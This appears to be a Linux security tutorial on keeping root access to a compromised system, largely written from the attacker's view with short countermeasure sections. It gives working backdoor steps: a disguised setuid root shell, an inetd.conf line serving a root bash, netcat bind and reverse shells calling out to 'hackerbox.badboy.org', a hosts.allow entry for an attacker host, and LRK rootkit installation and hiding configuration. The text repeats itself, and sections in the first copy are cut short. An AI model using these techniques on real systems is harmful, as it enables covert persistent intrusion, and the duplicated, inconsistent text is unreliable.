To keep hold of a Linux system, without leaving any telltale marks can be difficult, all the below are methods that have been used in system attacks, although most of these are relatively easy to spot. Ideally for the attacker to use these techniques s/he will have to obtained the root account, or a user with sudo privileges.
Make changes to /etc/hosts.deny /etc/hosts.allow:
If the attacker happens to be hacking on the local network, s/he may want to continue their attack outside the network, unfortunately for the attacker TCP wrappers may be disallowing access from the attackers IP address because s/he is external to the network (It is more than likely that the admins would not only use TCP Wrappers - IPChains or IPTables are also very popular for firewalling rules - you may have to remove any rules from these also). This can be changed very easily by the attacker by giving this command:
************
Countermeasures:1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin, /usr/bin, /sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.
2) Make the important files immutable by using chattr +i [filename], this means the file cannot be overwritten, altered or deleted by anyone (including the owner), until the owner of the file uses chattr -i [filename] to take the immutable attribute away.
************
Adding New Accounts:
Adding new accounts is quick, simple and a dead give away to admins. There are two ways you can do this, the easiest way is to use the useraddand passwd commands, although using these commands does appear in /var/log/secure (see Covering Your Tracks for information on how to erase this type of information from the logs). The second method of doing this is to add a username manually to /etc/passwd. If you were to add a new entry to /etc/passwd it is advised you place an account in the middle of all the other usernames, because the admin would read the first and last usernames. Entries to the passwd file are very easily spotted by file integrity checkers - and admin worth his salt will have some type of file integrity checker. Generally attacker may use names similar system login names or follow username naming conventions, e.g. toor, Root,Bin, gamez. you may notice that these examples for usernames have been spelled differently, or made use of a captial letter (linux system name do not use capital letters).
************
Countermeasures:1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin, /usr/bin, /sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.************
Setuid Root Shells:
This is by far one of the easiest ways to get back to the status of root, by copying a shell, and giving it suid permissions under the owners name of root, or creating a C program that gives the user the suid permissions of root, then executes a shell. This can be done by issuing the following commands as root:
# cp /bin/sh /home/joeuser/weekly-report
# chmod 4555 /home/joeuser/weekly-report
# ls -al /home/joeuser/weekly-report
-r-sr-xr-x 1 root root 21673 Mar 9 18:36 weekly-report
So now whenever the attacker logs on under the username of joeuser, he can run weekly-report and get a root shell he can then check this with id to make sure who he has the permissions of:
$ ./weekly-report
# id
uid=503 (joeuser) gid=503 (joeuser) euid=0 (root) groups=503 (joeuser)
Notice the euid=500 (root)? This means the attackers effective userid is that of root!
Using inetd To Run Interactive Shells:
This attack is pretty easy, but is easy for an admin to spot also. The basic idea of the attack is to modify /etc/inetd.conf so that it will run an interactive shell, instead of a service it thinks it is. For example, lets say that one line of inetd.conf looks like this:
identd ...stream... tcp ...nowait... nobody .../usr/libexec/identd ...identd -el
We could change that line very easily so that instead of running a legitimate service it will run a shell instead, so you can change the line to look something like this:
identd ...stream ...tcp... nowait ...root .../bin/bash -i
Now the attacker can telnet to port 113 (identd's port) and execute commands with the privileges of root. If the admin is running some kind of file integrity checker, this will be spotted immediately. So one slight countermeasure for the attacker is to copy the inetd.conf file to another directory, make the changes they need to the copy, and then tell inetd to use the modified copy as its configuration file. Even now it is easy for the admin to notice that you have modified inetd, because they will see extra ports open, or if you have replaced an existing service they will realise that their service is not working as it should. So this is really not a clever backdoor by any means.
************
Countermeasures:1) Use the command grep -v "^#" /etc/inetd.conf to show any lines that are not commented out with a hash (#) in /etc/inetd.conf. Make sure you read the output, so you can spot if anyone has tried this method.2) If you do not need to run any services that are organised by inetd, then don't install it! I manage OpenSSH, and Apache on my boxes - without the use of inetd.************
Using Netcat:
Netcat is such a useful tool, it just had to have a mention in this manual. A simple way to install a backdoor into a system is to use netcat to listen on a port, the command:
nc -vv -l -p 65532 -e /home/joeuser/weekly-report
This is telling netcat to be extra verbose (give as much information to the attacker as possible), to listen on port 65532, and on a connect they are passed onto /home/joeuser/weekly-report (a setuid shell). Next the attacker will want to connect to the system via the port they just opened.
nc -vv target.nosecurity.org 65532
This will now give them a root prompt on the target machine! Again this is easy to spot for the admins if they notice that an extra port is listening. Netcat is also particularly useful to get a "backwards" shell, this means that rather than you connect to the target system, you get the target system to connect to you. For the computer to connect to you, you will need to setup netcat running on a port on your own system, using the following command:
nc -vv -l -p 632
Then to make the server connect back to you, on the server enter:
nc -e /bin/bash hackerbox.badboy.org 632
This will tell the server to run /bin/bash and connect to your system. So now you have the same control over a computer as if it were a telnet session to the target, the only difference is that the target machine has connected to you, this method may be seen as a little more stealthier; as a port scanner will not show any ports open and you have made no modifications that any file integrity checker will notice, but this method still leaves a large trail, as the netstat command will reveal connections to your computer (which will show your IP address - not good), as netstat is such a popular command this type of method to maintain access is pretty easy to spot.
Rootkits:
One of the easiest methods to keep hold of a system is through a rootkit. Rootkits although easy to spot - are hell for admins to remove. Generally rootkits have 4 typical stages:
- Replace important programs with modified copies.
- Create additional users with root powers.
- Create amethod of re-entry (usually involves a listening service asking for a password only - so no other attackers can break in).
- Setup network sniffing software.
Rootkits are very popular, and there are quite a few designed specifically for Linux, some of these include:
- Linux Rootkit (LRK)
- Adore.
- Tuxkit
In this manual I will discuss LRK, this is because it is easily the most famous rootkit out there. Currently LRK is at version 5, and can be obtained from the 'tools' section at http://www.securityfocus.com/. LRK is a very clever piece of kit, it has a number of backdoors into the system, and tools for covering your tracks and privilage escalation.
LRK contains the following tools/ trojaned programs
# ./configure
# make all install (for standard install)
or
# make shadow install (if the computer uses shadow passwords)
Now the rootkit is installed you will need to modify 4 files:
************
Countermeasures:1) Make sure you run some type of file integrity checker! This will spot any trojaned binaries and modified files.
2) Make a rootkit recovery cd or floppy, on the disk you should include: ls, netstat, ps, top, ifconfig, find, killall, strace, strings, lsof,grep, mount, diff, chkwtmp, and any other programs you may regularly use that might be replaced be a hacker, or that might give you information on the attack.
3) Log as much as you can, allow extra logging in /etc/login.defs, use swatch to monitor logs, use snort or some other form of IDS to try to catch these attackers early. ************
Make changes to /etc/hosts.deny /etc/hosts.allow:
If the attacker happens to be hacking on the local network, s/he may want to continue their attack outside the network, unfortunately for the attacker TCP wrappers may be disallowing access from the attackers IP address because s/he is external to the network (It is more than likely that the admins would not only use TCP Wrappers - IPChains or IPTables are also very popular for firewalling rules - you may have to remove any rules from these also). This can be changed very easily by the attacker by giving this command:
$ echo 'ALL: attackerbox.badboy.org' >> /etc/hosts.allowThis will now instantly grant access to every service to the attackers computer (attackerbox.badboy.org). This may not be such as good idea for the hacker, because as you can see he s/he has left their hostname stored on the remote server - big mistake! Alternatively one of the last lines in /etc/hosts.deny might read "ALL: ALL" This means that if they have not already passed any rules allowing them or denying them to any services - then they are to be denied from everything. Instead of making changes to the hosts.allow file, the attacker could just remove the "ALL: ALL" line from hosts.deny file, this means that the attacker does not leave their IP address/ hostname on the server.
************
Countermeasures:1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin, /usr/bin, /sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.
2) Make the important files immutable by using chattr +i [filename], this means the file cannot be overwritten, altered or deleted by anyone (including the owner), until the owner of the file uses chattr -i [filename] to take the immutable attribute away.
************
Adding New Accounts:
Adding new accounts is quick, simple and a dead give away to admins. There are two ways you can do this, the easiest way is to use the useraddand passwd commands, although using these commands does appear in /var/log/secure (see Covering Your Tracks for information on how to erase this type of information from the logs). The second method of doing this is to add a username manually to /etc/passwd. If you were to add a new entry to /etc/passwd it is advised you place an account in the middle of all the other usernames, because the admin would read the first and last usernames. Entries to the passwd file are very easily spotted by file integrity checkers - and admin worth his salt will have some type of file integrity checker. Generally attacker may use names similar system login names or follow username naming conventions, e.g. toor, Root,Bin, gamez. you may notice that these examples for usernames have been spelled differently, or made use of a captial letter (linux system name do not use capital letters).
************
Countermeasures:1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin, /usr/bin, /sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.************
Setuid Root Shells:
This is by far one of the easiest ways to get back to the status of root, by copying a shell, and giving it suid permissions under the owners name of root, or creating a C program that gives the user the suid permissions of root, then executes a shell. This can be done by issuing the following commands as root:
# cp /bin/sh /home/joeuser/weekly-report
# chmod 4555 /home/joeuser/weekly-report
# ls -al /home/joeuser/weekly-report
-r-sr-xr-x 1 root root 21673 Mar 9 18:36 weekly-report
So now whenever the attacker logs on under the username of joeuser, he can run weekly-report and get a root shell he can then check this with id to make sure who he has the permissions of:
$ ./weekly-report
# id
uid=503 (joeuser) gid=503 (joeuser) euid=0 (root) groups=503 (joeuser)
Notice the euid=500 (root)? This means the attackers effective userid is that of root!
Using inetd To Run Interactive Shells:
This attack is pretty easy, but is easy for an admin to spot also. The basic idea of the attack is to modify /etc/inetd.conf so that it will run an interactive shell, instead of a service it thinks it is. For example, lets say that one line of inetd.conf looks like this:
identd ...stream... tcp ...nowait... nobody .../usr/libexec/identd ...identd -el
We could change that line very easily so that instead of running a legitimate service it will run a shell instead, so you can change the line to look something like this:
identd ...stream ...tcp... nowait ...root .../bin/bash -i
Now the attacker can telnet to port 113 (identd's port) and execute commands with the privileges of root. If the admin is running some kind of file integrity checker, this will be spotted immediately. So one slight countermeasure for the attacker is to copy the inetd.conf file to another directory, make the changes they need to the copy, and then tell inetd to use the modified copy as its configuration file. Even now it is easy for the admin to notice that you have modified inetd, because they will see extra ports open, or if you have replaced an existing service they will realise that their service is not working as it should. So this is really not a clever backdoor by any means.
************
Countermeasures:1) Use the command grep -v "^#" /etc/inetd.conf to show any lines that are not commented out with a hash (#) in /etc/inetd.conf. Make sure you read the output, so you can spot if anyone has tried this method.2) If you do not need to run any services that are organised by inetd, then don't install it! I manage OpenSSH, and Apache on my boxes - without the use of inetd.************
Using Netcat:
Netcat is such a useful tool, it just had to have a mention in this manual. A simple way to install a backdoor into a system is to use netcat to listen on a port, the command:
nc -vv -l -p 65532 -e /home/joeuser/weekly-report
This is telling netcat to be extra verbose (give as much information to the attacker as possible), to listen on port 65532, and on a connect they are passed onto /home/joeuser/weekly-report (a setuid shell). Next the attacker will want to connect to the system via the port they just opened.
nc -vv target.nosecurity.org 65532
This will now give them a root prompt on the target machine! Again this is easy to spot for the admins if they notice that an extra port is listening. Netcat is also particularly useful to get a "backwards" shell, this means that rather than you connect to the target system, you get the target system to connect to you. For the computer to connect to you, you will need to setup netcat running on a port on your own system, using the following command:
nc -vv -l -p 632
Then to make the server connect back to you, on the server enter:
nc -e /bin/bash hackerbox.badboy.org 632
This will tell the server to run /bin/bash and connect to your system. So now you have the same control over a computer as if it were a telnet session to the target, the only difference is that the target machine has connected to you, this method may be seen as a little more stealthier; as a port scanner will not show any ports open and you have made no modifications that any file integrity checker will notice, but this method still leaves a large trail, as the netstat command will reveal connections to your computer (which will show your IP address - not good), as netstat is such a popular command this type of method to maintain access is pretty easy to spot.
Rootkits:
One of the easiest methods to keep hold of a system is through a rootkit. Rootkits although easy to spot - are hell for admins to remove. Generally rootkits have 4 typical stages:
- Replace important programs with modified copies.
- Create additional users with root powers.
- Create amethod of re-entry (usually involves a listening service asking for a password only - so no other attackers can break in).
- Setup network sniffing software.
Rootkits are very popular, and there are quite a few designed specifically for Linux, some of these include:
- Linux Rootkit (LRK)
- Adore.
- Tuxkit
In this manual I will discuss LRK, this is because it is easily the most famous rootkit out there. Currently LRK is at version 5, and can be obtained from the 'tools' section at http://www.securityfocus.com/. LRK is a very clever piece of kit, it has a number of backdoors into the system, and tools for covering your tracks and privilage escalation.
LRK contains the following tools/ trojaned programs
| du, find, ls | Trojaned! Hide files. |
| crontab | Trojaned! Hidden Crontab Entries. |
| ifconfig | Hides the PROMISC flag in its normal output (Useful if the attacker sets up a network sniffer). |
| netstat | Trojaned! Hide connections. |
| tcpd | Trojaned! Hide connections, avoid denies. |
| top, ps, pidof | Trojaned! Hide processes. |
| syslogd | Trojaned! Hide logs. |
| killall | Trojaned! Wont kill hidden processes. |
| bindshell | Port/shell type daemon! |
| chfn, chsh, passwd | Trojaned! User->r00t. |
| inetd, login, rshd, sshd | Trojaned! Remote access. |
| ADMSniff | Network sniffer. |
| fix | Changes timestamp and checksum information on files. |
| wted | wtmp/ utmp editor! |
| fix | File fixer! |
| z2 | (Zap 2) utmp/ wtmp/ lastlog eraser! |
# make all install (for standard install)
or
# make shadow install (if the computer uses shadow passwords)
Now the rootkit is installed you will need to modify 4 files:
- /dev/ptyq - this sets network connections that should be ignored, based on incoming and outgoing addresses, uid or ports.
- /dev/ptyr - this sets file or directory names to be ignored.
- /dev/ptyp - this sets what processes to ignore, based on uid, tty, or command-line matches.
- /dev/ptys - this sets what syslog entries to ignore, based on pattern matches.
************
Countermeasures:1) Make sure you run some type of file integrity checker! This will spot any trojaned binaries and modified files.
2) Make a rootkit recovery cd or floppy, on the disk you should include: ls, netstat, ps, top, ifconfig, find, killall, strace, strings, lsof,grep, mount, diff, chkwtmp, and any other programs you may regularly use that might be replaced be a hacker, or that might give you information on the attack.
3) Log as much as you can, allow extra logging in /etc/login.defs, use swatch to monitor logs, use snort or some other form of IDS to try to catch these attackers early. ************
